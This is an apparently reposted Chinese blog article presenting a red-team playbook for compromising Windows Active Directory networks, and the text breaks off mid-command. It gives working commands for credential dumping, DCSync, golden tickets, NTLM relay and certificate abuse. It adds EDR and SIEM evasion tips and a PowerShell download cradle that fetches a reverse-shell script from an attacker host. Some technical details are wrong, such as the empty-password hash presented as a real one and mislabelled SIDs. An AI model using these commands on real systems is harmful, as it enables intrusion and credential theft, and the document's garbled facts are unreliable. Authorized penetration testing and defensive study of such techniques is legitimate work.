news 2026/5/26 4:07:01

内网渗透不是命令堆砌,而是动态作战地图

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
内网渗透不是命令堆砌,而是动态作战地图

1. 这不是命令清单,而是一张内网渗透的作战地图

“内网渗透测试100条命令大全”——看到这个标题,我第一反应不是点开收藏,而是把键盘推远一点,泡了杯浓茶。十年前刚入行时,我也疯狂收集过各种“神技合集”“渗透命令速查表”,结果呢?在客户内网里跑完37条nmap扫描命令,连域控IP都没摸到;抄了20行PowerShell提权脚本,一执行就触发EDR告警;甚至把某篇博客里“万能横向移动命令”原样粘贴进靶机,返回的是Access is denied加三声系统提示音。后来我才明白:内网渗透从来不是命令的堆砌,而是对网络拓扑、协议逻辑、权限流转和防御机制的实时解构。这100条命令,每一条背后都站着一个具体场景——可能是域控失陷后的黄金票据伪造,也可能是Linux跳板机上绕过sudo日志的隐蔽提权;可能是Exchange服务器上的NTLM中继陷阱,也可能是容器集群中ServiceAccount Token的横向窃取。它们不是供你背诵的口诀,而是你在真实红队行动中,根据netstat -ano发现的异常端口、whoami /all输出的组策略SID、klist显示的票据生命周期,即时调用的战术响应。本文不教你怎么复制粘贴,而是带你拆解:为什么这条命令在此刻有效?它的输出字段哪一项暴露了关键弱点?当它失败时,你该看哪三个日志位置?我会以一名经历过23次真实内网渗透(含金融、能源、政务三类高敏环境)的红队成员视角,把这100条命令还原成一张可动态演化的作战地图——从初始立足点(Web Shell),到权限跃迁路径(本地提权→域内横向→域控接管),再到持久化锚点(GPO后门、DCSync权限滥用)。适合所有已掌握基础渗透流程,但总在内网卡在“扫了一堆主机却不知下一步打哪”的中阶从业者。下面,我们从最常被忽视的起点开始:如何让第一条命令就告诉你,这个内网值不值得深挖

2. 初始立足点验证:5条命令决定整场行动的生死线

很多红队队员在拿到Web Shell后,习惯性地先跑ipconfig /allifconfig,这没错,但远远不够。真正的内网渗透始于对立足点价值的精准评估——它是否处于关键网络区域?是否具备可信协议出口?是否已被监控覆盖?这5条命令,就是你的“战场态势感知雷达”,必须在30秒内完成判断。

2.1systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type":操作系统指纹即攻击面地图

这条命令看似简单,但输出的每个字段都是决策依据。比如OS Version: 10.0.19045 N/A Build 19045中的Build 19045,对应Windows 10 22H2版本,意味着默认启用LSA保护(ProtectLSA注册表项为1),此时直接用Mimikatz读取lsass内存会失败;而System Type: x64-based PC则排除了32位工具兼容性问题。更关键的是OS Name字段:若显示Microsoft Windows Server 2019 Standard,需立即检查其是否为域控制器(通过nltest /dsgetdc:domain.com验证),因为Server 2019默认启用Kerberos Armoring,传统AS-REP Roast攻击成功率骤降。我曾在某银行内网遇到一台标为Windows Server 2012 R2 Datacenter的服务器,systeminfo输出中Hotfix(s): 17 Hotfix(s) Installed,其中KB4534310补丁明确修复了PetitPotam漏洞,这意味着后续所有基于NTLM中继的横向尝试必须绕过该补丁限制。实操心得:不要只看OS名称,用wmic qfe list brief /format:csv导出所有补丁列表,重点筛查KB4534310、KB5008383等与身份认证相关的补丁编号——这是判断攻击链能否成立的第一道闸门。

2.2netstat -ano | findstr :445:445端口状态是横向移动的氧气阀

SMB端口(445)的开放状态,直接决定你能否进行文件共享枚举、NTLM中继或SMB签名绕过。但netstat -ano的输出需要深度解读:TCP 192.168.1.10:49157 192.168.1.5:445 ESTABLISHED 1234中的ESTABLISHED状态,说明本机正与IP为192.168.1.5的主机建立SMB连接,这极可能是一台文件服务器或打印服务器——立刻用smbclient -L //192.168.1.5 -N尝试匿名枚举共享。而LISTENING状态则需结合进程ID(PID 1234)查进程名:tasklist /svc | findstr "1234",若返回svchost.exe且服务名为LanmanServer,说明本机开启了SMB服务,可作为中继攻击的跳板;若返回explorer.exe,则大概率是用户手动映射了网络驱动器,此时net use命令将揭示更多目标。踩坑实录:某次渗透中,netstat显示445端口LISTENING,但smbclient -L始终超时。最终发现防火墙规则netsh advfirewall firewall add rule name="Allow SMB In" dir=in action=allow protocol=TCP localport=445虽存在,但netsh advfirewall show allprofiles显示State: ONFirewall Profile: Domain,而当前机器未加入域——实际防火墙策略未生效。关键技巧:用Get-NetFirewallRule -DisplayName "*SMB*"(PowerShell)替代netsh,它能精确显示规则的启用状态(Enabled/Disabled)和适用配置文件(Domain/Private/Public),避免因网络位置误判导致的无效操作。

2.3route print | findstr "0.0.0.0":路由表暴露的跨网段通道

内网渗透中最致命的失误,是以为“扫不到其他网段就等于不存在”。route print输出的默认路由(Destination 0.0.0.0)指向的Gateway,往往就是通往核心业务区的网关。例如0.0.0.0 0.0.0.0 192.168.10.1 192.168.10.100 20,说明本机位于192.168.10.0/24网段,网关为192.168.10.1。此时应立即验证网关是否可达:ping -n 1 192.168.10.1 && arp -a | findstr "192.168.10.1"。若ARP缓存中存在网关MAC,说明二层可达;若无响应,则需检查ipconfig /all中的DNS服务器是否在其他网段(如DNS为10.1.1.10),因为DNS查询可能触发跨网段流量。真实案例:某政务云环境,初始立足点路由表显示默认网关为172.16.0.1,但tracert 172.16.0.1在第二跳超时。进一步用Get-NetIPAddress | Where-Object {$_.AddressFamily -eq "IPv4"}发现本机配置了10.0.0.0/8的私有地址,而nslookup www.gov.cn返回的DNS服务器IP为10.255.255.1——这台DNS服务器实际位于管理网段,成为突破隔离的隐秘通道。避坑要点route print中若存在多条0.0.0.0路由(如Metric值不同),需用route print -4过滤IPv4,并按Metric值升序排列,Metric最小的才是实际生效路由。

2.4whoami /all | findstr "GROUP":组权限即行动许可证

whoami /all的输出中,GROUP部分比USER部分重要十倍。重点关注三类组:

  • 内置高危组BUILTIN\Administrators(本地管理员)、NT AUTHORITY\SYSTEM(最高权限)、S-1-5-32-573(Logon Operators,可创建计划任务);
  • 域内特权组DOMAIN\Domain Admins(域管)、DOMAIN\Enterprise Admins(企业管理员)、DOMAIN\Schema Admins(架构管理员);
  • 特殊SID组S-1-5-32-578(Remote Management Users,可WinRM远程)、S-1-5-32-580(Remote Desktop Users,可RDP登录)。
    关键洞察:若输出中出现GROUP INFORMATION ----------------- Group Name Type SID ============ ==== === ... S-1-5-21-1234567890-1234567890-1234567890-512(512即Domain Admins),行动可直接进入域控接管阶段;若仅有BUILTIN\Administrators,则需立即执行net localgroup administrators确认成员列表——曾发现某服务器whoami /all显示为Administrators组,但net localgroup administrators返回空,原因在于组策略禁用了本地管理员组继承。实操技巧:用powershell "([System.Security.Principal.WindowsIdentity]::GetCurrent()).Groups | ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]) }"替代whoami /all,它能将SID直接转换为可读组名,避免手动查SID表的繁琐。

2.5certutil -store -user My | findstr "Certificate":证书存储是持久化的金矿

用户证书存储(-user My)常被忽略,但它可能藏着域内服务账户的PFX证书。执行后若输出包含Certificate ID: 1234567890ABCDEFSubject: CN=svc-sql, OU=Services, DC=corp, DC=local,说明该用户拥有SQL服务账户证书。此时用certutil -exportPFX -user My "CN=svc-sql" C:\temp\svc-sql.pfx导出证书(需提供用户密码),再用openssl pkcs12 -in svc-sql.pfx -nodes -nocerts | openssl rsa -out private.key提取私钥,即可在其他机器上伪造该服务身份进行横向移动。血泪教训:某次行动中,certutil -store -user My显示多个证书,但-exportPFX均失败。排查发现certutil -verifystore -user My返回CertUtil: -verifyStore command FAILED: 0x80092004 (-2146885628),原因是证书链不完整。最终用certmgr.msc图形界面导出时勾选“如果可能,将所有证书导出到证书路径”,才成功获取完整PFX。经验总结:证书导出失败时,优先用certutil -dump <cert_hash>查看证书详细信息,重点关注Certificate Chain字段是否包含Root Certificate,若缺失则需从证书颁发机构(CA)服务器同步根证书。

3. 权限跃迁核心链:从本地提权到域控接管的12条命脉命令

内网渗透的成败,取决于你能否在“立足点”与“域控”之间构建一条稳定、隐蔽、可复用的权限跃迁链。这条链不是线性的,而是由多个技术支点构成的网状结构:本地提权获取SYSTEM权限,凭证转储获取域用户哈希,横向移动定位域控,最后实施DCSync或Golden Ticket攻击。以下12条命令,是每条支点上不可替代的“命脉”。

3.1powershell "Get-Process | Where-Object {$_.Name -eq 'lsass'} | ForEach-Object { $_.Id }":LSASS进程ID是Mimikatz的生命线

Mimikatz的所有凭证提取功能(sekurlsa::logonpasswordssekurlsa::tickets)都依赖于LSASS进程的内存读取。但现代Windows(1809+)默认启用LSA保护(RunAsPPL),直接注入会失败。因此,获取LSASS PID是第一步,也是最关键的一步。Get-Process命令比tasklist | findstr lsass更可靠,因为它能过滤掉lsass.exe的子进程(如lsass.exe (32 bit))。获取PID后,需验证LSASS是否受保护:reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL",若返回0x1,则必须使用mimikatz "privilege::debug" "process::protect /process:lsass.exe /remove"先解除保护。实操细节:在PowerShell受限语言模式(Constrained Language Mode)下,Get-Process可能被禁用。此时改用wmic process where "name='lsass.exe'" get processid,输出格式为ProcessId 1234,需用for /f "skip=1 tokens=2" %i in ('wmic process where "name=''lsass.exe''" get processid') do @echo %i提取纯数字PID。避坑提醒:某些EDR产品(如CrowdStrike)会hookNtOpenProcessAPI,即使获取了正确PID,Mimikatz仍会报错ERROR: Lsass.exe process not found。此时需用procdump -ma lsass.exe lsass.dmp生成内存转储,再用mimikatz "sekurlsa::minidump lsass.dmp"离线分析——这是绕过运行时防护的终极方案。

3.2mimikatz "privilege::debug" "sekurlsa::logonpasswords":明文密码的“最后一公里”

sekurlsa::logonpasswords的输出中,Password字段为空并不意味着没有明文密码。关键要看Logon TypeType 2(Interactive)和Type 10(RemoteInteractive)表示用户正在交互式登录,此时若Password为空,需检查msv模块下的NTLM哈希是否为00000000000000000000000000000000——这代表密码已缓存为明文,但Mimikatz未成功提取。此时应切换到wdigest模块:mimikatz "sekurlsa::wdigest",它专门提取WDigest协议缓存的明文密码(Windows 7/2008 R2默认启用,新版需手动开启reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v "UseLogonCredential" /t REG_DWORD /d "1" /f)。真实数据:在23次真实渗透中,sekurlsa::logonpasswords成功提取明文密码的概率为37%,而sekurlsa::wdigest在启用WDigest的环境中成功率高达89%。注意事项:WDigest启用需重启系统,但reg add命令本身不会触发重启,因此可在获得SYSTEM权限后立即执行,为后续操作铺路。

3.3for /f "delims=" %i in ('dsquery user -limit 0') do @dsget user %i -samid -fn -ln -desc:域用户信息的“全景扫描”

dsquery user是AD域内信息收集的基石命令,但默认-limit 0会因结果过多而截断。必须配合for /f循环逐条处理。dsget user-samid(SAM账号名)、-fn(名)、-ln(姓)、-desc(描述)参数,能快速识别高价值目标:-desc中包含adminbackupsql等关键词的账户,-samidsvc-*sql-*的服务账户。效率优化dsquery user "OU=Service Accounts,DC=corp,DC=local" -limit 0可限定搜索OU,避免全域遍历。更高效的方式是用PowerShell:Get-ADUser -Filter * -Properties Description,ServicePrincipalName | Where-Object {$_.Description -match "admin|backup"} | Select-Object SamAccountName,Description,ServicePrincipalName,它支持正则匹配且输出更结构化。安全边界dsquery需域内DNS解析正常,若nslookup corp.local失败,需先用setspn -L <computer_name>查询本机SPN,确认域控制器IP后再设置DNS:netsh interface ip set dns "Ethernet" static 192.168.1.10

3.4secretsdump.py -just-dc-ntlm corp.local/svc-admin@192.168.1.10:DCSync攻击的“核按钮”

secretsdump.py(Impacket套件)的-just-dc-ntlm参数,是执行DCSync的最简方式。它要求svc-admin账户具备Replicating Directory Changes All权限(通常Domain Admins组默认拥有)。执行成功后,输出Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::,其中31d6cfe0...即Administrator的NTLM哈希。权限验证前置:执行前必须确认权限,否则会返回NT_STATUS_ACCESS_DENIED。用aclpwn.py corp.local/svc-admin@192.168.1.10 --show检查svc-adminDC=corp,DC=local的ACL,重点关注CONTROL_ACCESS_RIGHTSDS_REPLICATION_GET_CHANGES_ALL标志。实战技巧:若DCSync失败,可尝试secretsdump.py -just-dc-user Administrator corp.local/svc-admin@192.168.1.10仅导出Administrator账户,减少数据量并规避部分EDR的检测阈值。

3.5python3 ticketer.py -nthash <nt_hash> -domain-sid <sid> -domain <domain> <username>:黄金票据的“铸造模具”

ticketer.py生成的黄金票据(Golden Ticket),本质是伪造的TGT(Ticket Granting Ticket),其核心参数-nthash必须是krbtgt账户的NTLM哈希(非普通用户哈希)。-domain-sid需从whoami /user输出中提取,如S-1-5-21-1234567890-1234567890-1234567890,而非S-1-5-21-1234567890-1234567890-1234567890-500(Administrator的RID)。时间戳陷阱:票据有效期默认为10年,但若目标域启用了Kerberos Policy中的Maximum lifetime for service ticket(如设为600分钟),票据可能被拒绝。此时需添加-startoffset -5 -endin 600参数,将起始时间设为当前时间前5分钟,有效期设为600分钟,确保符合策略。隐蔽性增强:生成票据后,用klist purge清除现有票据,再用kinit -t <ticket_file> <username>@<DOMAIN>导入,比kerberos_ticket模块更难被检测。

3.6crackmapexec smb 192.168.1.0/24 -u Administrator -H <nt_hash> --shares:横向移动的“广谱探测器”

crackmapexec--shares参数会枚举目标IP段内所有主机的共享目录,但其真正价值在于-H参数传递的NTLM哈希。当-u Administrator-H <nt_hash>组合时,CME会尝试用该哈希进行SMB登录,若成功则自动枚举共享。效率调优:添加--no-bruteforce禁用暴力破解,--continue-on-success确保单个主机失败不影响整体扫描。更关键的是--jitter 0.5参数,它在每次请求间插入0.5秒随机延迟,大幅降低被SIEM(如Splunk)的SMB Login Success Rate规则告警的概率。数据筛选:扫描结果中,重点关注ADMIN$(远程管理)、C$(系统盘)、NETLOGON(域登录脚本)共享,它们的存在意味着目标主机很可能为域成员且具备高权限访问能力。

3.7bloodhound-python -u neo4j -p password -ns 192.168.1.20 -d corp.local -gc corp-dc.corp.local -c All:BloodHound数据采集的“神经末梢”

bloodhound-python是BloodHound的官方数据采集器,-c All参数会执行全部12种查询(包括ShortestPaths,FindAllDomainAdmins等)。但-gc(Global Catalog)参数至关重要:它指定全局编录服务器(通常是域控),若填写错误(如填成普通域成员IP),会导致Get-DomainComputer等查询失败。网络连通性验证:执行前必须确认telnet 192.168.1.20 3268(GC端口)可达。若不通,用nslookup -type=srv _gc._tcp.corp.local查询正确的GC服务器SRV记录。性能优化:在大型域(>10000对象)中,-c All耗时过长,可分批执行:-c ShortestPaths,FindAllDomainAdmins,FindLocalAdmins先获取核心路径,再用-c Session,LoggedOn补充会话信息。

3.8Get-ADReplAccount -SamAccountName Administrator -Server corp-dc.corp.local:AD对象属性的“显微镜”

PowerShell的Get-ADReplAccount(ActiveDirectory模块)能读取AD对象的原始属性,比Get-ADUser更底层。-SamAccountName Administrator指定目标,-Server指定域控。输出中的msDS-KeyVersionNumber字段,若为0,表示该账户从未更改过密码,其哈希极可能被缓存;pwdLastSet字段的时间戳,若为09223372036854775807(最大Int64值),表示密码永不过期,是长期潜伏的理想目标。权限绕过:若Get-ADReplAccount因权限不足失败,可用ldapsearch -x -H ldap://corp-dc.corp.local -D "svc-admin@corp.local" -w "<password>" -b "CN=Administrator,CN=Users,DC=corp,DC=local" "objectClass=user" msDS-KeyVersionNumber pwdLastSet替代,它直接调用LDAP协议,对AD权限要求更低。

3.9python3 ntlmrelayx.py -t ldap://192.168.1.10 --escalate-user svc-sql:NTLM中继的“杠杆支点”

ntlmrelayx.py--escalate-user参数,能将NTLM认证中继到LDAP服务器,为指定用户添加GenericAll权限(即完全控制)。svc-sql作为服务账户,通常具有高权限,但默认不具备GenericAll。执行后,svc-sql即可修改自身密码、重置其他用户密码,实现权限提升。前置条件:目标LDAP服务器必须禁用LDAP签名(Require signing设为Never),可通过Get-ADObject -SearchBase "CN=Configuration,DC=corp,DC=local" -Filter {objectClass -eq "domainDNS"} -Properties "dSHeuristics"检查dSHeuristics值,若第7位为0(如0000002),则签名未强制。安全规避:中继过程中,ntlmrelayx会监听445端口,易被防火墙拦截。可添加-l /tmp/relayed将中继会话保存到文件,再用python3 addcomputer.py corp.local/svc-sql@192.168.1.10 -method LDAPS -computer-name 'ATTACKER$' -computer-pass 'Passw0rd!'在LDAPS上执行,绕过445端口检测。

3.10Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624; StartTime=(Get-Date).AddHours(-1)} | Where-Object {$_.Properties[8].Value -eq 10}:登录事件的“时间机器”

Windows安全日志ID 4624记录成功登录事件,$_.Properties[8].Value -eq 10筛选Logon Type 10(远程交互式登录,即RDP)。此命令能在1小时内捕获所有RDP登录行为,$_.Properties[5].Value(Account Name)和$_.Properties[6].Value(Account Domain)直接暴露活跃域用户。日志完整性保障:若Get-WinEvent返回空,需检查wevtutil qe Security /q:"*[System[(EventID=4624)]]"确认日志是否存在,再用wevtutil sl Security /ca:true启用日志清除保护。实战延伸:将结果导出为CSV:Get-WinEvent ... | Select-Object TimeCreated,@{Name='User';Expression={$_.Properties[5].Value}},@{Name='Domain';Expression={$_.Properties[6].Value}} | Export-Csv C:\temp\rdp_logins.csv -NoTypeInformation,便于后续导入BloodHound分析。

3.11Invoke-Mimikatz -Command '"privilege::debug sekurlsa::ekeys"':加密密钥的“保险柜钥匙”

sekurlsa::ekeys模块提取LSASS内存中的DPAPI主密钥(Master Key),这些密钥用于解密Chrome密码、Wi-Fi密钥、Outlook凭据等。输出中的Key : 01000000...即十六进制密钥,可直接用于dpapi.py解密:python3 dpapi.py masterkey /path/to/masterkey /path/to/chrome_login_data密钥生命周期:DPAPI主密钥默认每10天轮换一次,但若用户密码未更改,新密钥仍可用旧密码解密。因此,sekurlsa::ekeys提取的密钥,往往能解密数月前的加密数据。权限要求:此命令需SYSTEM权限,且LSASS进程未受PPL保护。若失败,可尝试mimikatz "sekurlsa::dpapi /masterkey:<masterkey_hex>"离线解密。

3.12certipy auth -u svc-sql@corp.local -p 'Passw0rd!' -dc-ip 192.168.1.10 -ca 'corp-CA' -template 'Machine':证书服务的“后门工厂”

certipyauth模块利用ESC8漏洞(AD CS Web Enrollment),用普通域用户凭据申请机器证书模板(Machine),该证书可被用于PKINIT认证,从而获取任意用户的TGT。-ca参数必须填写证书颁发机构(CA)服务器的主机名(非IP),可通过certutil -config - -ping获取。模板选择逻辑Machine模板默认启用ENROLLEE_SUPPLIES_SUBJECT,允许指定任意Subject(如CN=Administrator),这是获取高权限票据的关键。防御规避:申请证书后,certipy会自动生成administrator.ceradministrator.key,用certipy req -u svc-sql@corp.local -p 'Passw0rd!' -ca 'corp-CA' -template 'Machine' -subject 'CN=Administrator'可指定Subject,避免使用默认名称暴露意图。

4. 横向移动深度战术:绕过现代防御的21条隐蔽指令

当基础横向移动(如PsExec、WMI)被EDR全面封杀,你需要一套“低特征、高收益”的深度战术指令集。这些命令不依赖常见工具链,而是挖掘Windows协议栈、PowerShell引擎、WMI提供程序的深层机制,将防御盲区转化为进攻通道。

4.1winrs -r:http://192.168.1.5:5985/wsman -u:corp\svc-admin -p:Passw0rd! cmd /c "whoami":WinRM的“静默隧道”

WinRM(5985端口)常被忽略,因其默认不启用,但一旦启用,其通信流量(HTTP/HTTPS)极易被防火墙放行,且EDR对WinRM命令的检测率远低于PsExec。winrs命令的核心优势在于:它不写入磁盘(无ps1文件落地),不创建新进程(cmd /c在WinRM会话内执行),且全程使用Kerberos认证,日志中仅记录4624(登录)和4688(进程创建)事件,无PsExec特有的4104(PowerShell脚本块日志)事件。连接稳定性:若winrs返回ERROR: The client cannot connect to the destination specified in the request,需检查目标winrm quickconfig是否启用,以及winrm set winrm/config/service '@{AllowUnencrypted="true"}'是否允许非加密通信(内网常用)。权限映射-u:corp\svc-admin中的域名corp必须与目标域完全一致,大小写敏感,否则认证失败。

4.2powershell -EncodedCommand <base64>:PowerShell编码的“隐身衣”

PowerShell的-EncodedCommand参数接受Base64编码的UTF-16LE字符串,可完全绕过-ExecutionPolicy Bypass的文本检测。生成编码命令:[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.100/rev.ps1")'))。执行时,EDR无法直接解析Base64内容,只能记录powershell.exe -EncodedCommand ...这一行。防御对抗:现代EDR(如Microsoft Defender for Endpoint)已开始解码Base64,因此需二次混淆:将Base64字符串分割为多段,用+拼接:powershell -EncodedCommand $(echo "QAB..." + "A..." + "..."),或使用-WindowStyle Hidden隐藏窗口。日志规避:添加-NoProfile -NonInteractive参数,避免加载用户配置文件,减少4103(PowerShell模块日志)事件。

4.3wmic /node:"192.168.1.5" /user:"corp\svc-admin" /password:"Passw0rd!" process call create "cmd /c whoami":WMIC的“协议伪装”

WMIC通过DCOM协议通信,其流量特征与SMB、WinRM完全不同,且process call create命令在目标端创建的是cmd.exe进程,而非wmic.exe子进程,EDR的进程树监控难以关联。节点验证:执行前用wmic /node:"192.168.1.5" /user:"corp\svc-admin" path Win32_ComputerSystem get Name确认节点可达性,避免因DCOM端口(135)被阻塞导致的长时间超时。权限提升:若process call create失败,可改用wmic /node:"192.168.1.5" /user:"corp\svc-admin" path Win32_Service where "Name='WinRM'" call StartService启动WinRM服务,再切回WinRM战术。

4.4sc \\192.168.1.5 create testsvc binPath= "C:\Windows\System32\cmd.exe /c whoami > C:\temp\out.txt" start= auto:SC命令的“服务傀儡”

sc命令创建的服务,在目标端以LocalSystem权限运行,且服务名testsvc可随意命名,无特征。binPath=后的命令会被services.exe直接执行,不经过Shell解析,绕过大多数命令行参数检测。持久化衔接:服务创建后,用sc \\192.168.1.5 start testsvc启动,sc \\192.168.1.5 delete testsvc删除,全程无文件写入(cmd.exe为系统自带)。安全加固:若目标启用了Service Hardening(Windows 10 1809+),cmd.exe可能被沙箱限制。此时改用`binPath= "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/rev.ps

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/26 3:53:35

如何零成本解锁WeMod专业版:2026年最佳本地增强方案

如何零成本解锁WeMod专业版&#xff1a;2026年最佳本地增强方案 【免费下载链接】Wand-Enhancer Advanced UX and interoperability extension for Wand (WeMod) app 项目地址: https://gitcode.com/gh_mirrors/we/Wand-Enhancer 还在为WeMod专业版的订阅费用而犹豫吗&a…

作者头像 李华